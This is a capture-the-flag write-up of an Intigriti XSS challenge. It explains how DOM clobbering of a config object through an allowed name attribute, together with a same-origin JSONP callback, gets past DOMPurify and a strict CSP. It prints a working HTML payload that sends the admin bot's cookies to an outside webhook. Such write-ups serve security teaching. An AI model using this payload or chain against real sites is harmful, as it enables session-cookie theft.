The challenge presented us with an "Operational Intelligence" dashboard. Very clean, very corporate, very... vulnerable. Under the hood, we had a strict CSP and a 2024 version of DOMPurify (3.0.6) guarding the gates.
Looking at the source, we found a few interesting things:
- The CSP:
script-src 'self'. This meant no external scripts. Noalert(1)fromevil.com. We had to work with what was already there. - The Sanitizer:
DOMPurifywas forbiddingid,class, andstyle. But it left thenameattribute wide open. Big mistake. - The Gadget:
components.jshad a very juice-lookingAuth.loginRedirectfunction that could appenddocument.cookieto a redirect URL. It also had aComponentManagerthat dynamically loaded scripts.
Before the big breakthrough, we went on a spiritual journey into mXSS. We tried to hit the browser's recursion limit with 512 nested <div> tags to bypass the id restriction. We even named our test element sole-surviver because, frankly, we weren't sure if the browser's parser would survive the trip.
While we did successfully smuggle an id attribute past the sanitizer, we realized we were working too hard. There was an easier way...
A tip from the heavens (well, Twitter) mentioned a hidden API endpoint. After some hunting, we found:
https://challenge-0326.intigriti.io/api/stats/?callback=...
A JSONP gadget! This was the missing link. Since it was on the same origin, the CSP allowed us to load it as a script.
The final plan was as elegant as a cat knocking a glass off a table:
- DOM Clobbering: We used the
nameattribute to clobberwindow.authConfig. SinceDOMPurifyallowedname, we could define where theAuth.loginRedirectfunction would send our precious cookies. - The Trigger: We injected a
divwithdata-component="true". The site's ownComponentManagersaw this and said, "I should load a script for this!" - The JSONP Hijack: We told the
ComponentManagerto load the/api/stats/endpoint and set thecallbacktoAuth.loginRedirect.
The ComponentManager loaded the script, the script called the callback, and the callback saw our clobbered authConfig and dutifully sent the admin's cookies to our webhook.
<form name="authConfig"
data-next="https://payload.requestcatcher.com/test"
data-append="true"></form>
<div data-component="true"
data-config='{"path":"/api/stats/?callback=Auth.loginRedirect&","type":""}'></div>After reporting the URL to the admin bot, we received a beautiful GET request on our hook:
token=FLAG%3DINTIGRITI%7B019cdb71-fcd4-77cc-b15f-d8a3b6d63947%7D
Flag: INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}
- Don't trust the
nameattribute. It's justid's less-supervised younger brother. - JSONP is still a gift that keeps on giving.
- Always listen to Twitter tips.
Thanks to Intigriti for another great challenge!

